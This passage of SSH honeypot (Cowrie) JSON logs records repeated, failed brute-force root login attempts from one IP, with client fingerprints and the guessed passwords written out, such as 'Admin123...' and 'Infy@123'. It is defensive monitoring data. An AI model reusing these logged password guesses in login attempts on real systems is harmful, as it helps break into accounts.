","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:31.101641Z","src_ip":"60.165.124.241","session":"c232a845faac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1b2c3d4@","message":"login attempt [root/A1b2c3d4@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:32.546484Z","src_ip":"60.165.124.241","session":"c232a845faac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:33.808969Z","src_ip":"60.165.124.241","session":"c232a845faac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50884,"dst_ip":"10.17.0.5","dst_port":22,"session":"a561024063ac","protocol":"ssh","message":"New connection: 60.165.124.241:50884 (10.17.0.5:22) [session: a561024063ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:34.053421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:34.058329Z","src_ip":"60.165.124.241","session":"a561024063ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:35.802544Z","src_ip":"60.165.124.241","session":"a561024063ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Freeman1","message":"login attempt [root/Freeman1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:37.242419Z","src_ip":"60.165.124.241","session":"a561024063ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:38.497339Z","src_ip":"60.165.124.241","session":"a561024063ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56536,"dst_ip":"10.17.0.5","dst_port":22,"session":"83b817d75c38","protocol":"ssh","message":"New connection: 60.165.124.241:56536 (10.17.0.5:22) [session: 83b817d75c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:38.755900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:38.760982Z","src_ip":"60.165.124.241","session":"83b817d75c38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:39.014970Z","src_ip":"60.165.124.241","session":"83b817d75c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123...","message":"login attempt [root/Admin123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:39.794262Z","src_ip":"60.165.124.241","session":"83b817d75c38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:41.659890Z","src_ip":"60.165.124.241","session":"83b817d75c38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59918,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cbe4f7e7da0","protocol":"ssh","message":"New connection: 60.165.124.241:59918 (10.17.0.5:22) [session: 1cbe4f7e7da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:41.904500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:41.909215Z","src_ip":"60.165.124.241","session":"1cbe4f7e7da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:45.175832Z","src_ip":"60.165.124.241","session":"1cbe4f7e7da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zZ123456789","message":"login attempt [root/zZ123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:46.584878Z","src_ip":"60.165.124.241","session":"1cbe4f7e7da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:47.838826Z","src_ip":"60.165.124.241","session":"1cbe4f7e7da0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38872,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a55e896d0c2","protocol":"ssh","message":"New connection: 60.165.124.241:38872 (10.17.0.5:22) [session: 9a55e896d0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:48.089524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:48.094893Z","src_ip":"60.165.124.241","session":"9a55e896d0c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:48.351453Z","src_ip":"60.165.124.241","session":"9a55e896d0c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"enigma","message":"login attempt [root/enigma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:49.786810Z","src_ip":"60.165.124.241","session":"9a55e896d0c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:51.649643Z","src_ip":"60.165.124.241","session":"9a55e896d0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43124,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6bdd3bb4e46","protocol":"ssh","message":"New connection: 60.165.124.241:43124 (10.17.0.5:22) [session: c6bdd3bb4e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:51.898136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:51.903300Z","src_ip":"60.165.124.241","session":"c6bdd3bb4e46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:52.155964Z","src_ip":"60.165.124.241","session":"c6bdd3bb4e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Infy@123","message":"login attempt [root/Infy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:52.918970Z","src_ip":"60.165.124.241","session":"c6bdd3bb4e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:54.173636Z","src_ip":"60.165.124.241","session":"c6bdd3bb4e46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46086,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2971bfca9c3","protocol":"ssh","message":"New connection: 60.165.124.241:46086 (10.17.0.5:22) [session: a2971bfca9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:55.419684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:55.426026Z","src_ip":"60.165.124.241","session":"a2971bfca9c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:55.675570Z","src_ip":"60.165.124.241","session":"a2971bfca9c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12321","message":"login attempt [root/12321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:57.135266Z","src_ip":"60.165.124.241","session":"a2971bfca9c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:58.388113Z","src_ip":"60.165.124.241","session":"a2971bfca9c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51028,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3f80db4b379","protocol":"ssh","message":"New connection: 60.165.124.241:51028 (10.17.0.5:22) [session: b3f80db4b379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:58.632946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:58.637892Z","src_ip":"60.165.124.241","session":"b3f80db4b379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:58.887541Z","src_ip":"60.165.124.241","session":"b3f80db4b379","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123123","message":"login attempt [root/Test123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:59.625591Z","src_ip":"60.165.124.241","session":"b3f80db4b379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":50838,"dst_ip":"159.203.135.109","dst_port":22,"session":"71fe80b90161","protocol":"ssh","message":"New connection: 2.57.122.208:50838 (159.203.135.109:22) [session: 71fe80b90161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:00.328546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:00.423255Z","src_ip":"2.57.122.208","session":"71fe80b90161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:00.622723Z","src_ip":"2.57.122.208","session":"71fe80b90161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:00.862736Z","src_ip":"60.165.124.241","session":"b3f80db4b379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53914,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bf1cf6f82ef","protocol":"ssh","message":"New connection: 60.165.124.241:53914 (10.17.0.5:22) [session: 9bf1cf6f82ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:01.096956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:01.101355Z","src_ip":"60.165.124.241","session":"9bf1cf6f82ef","protocol":"ssh"}
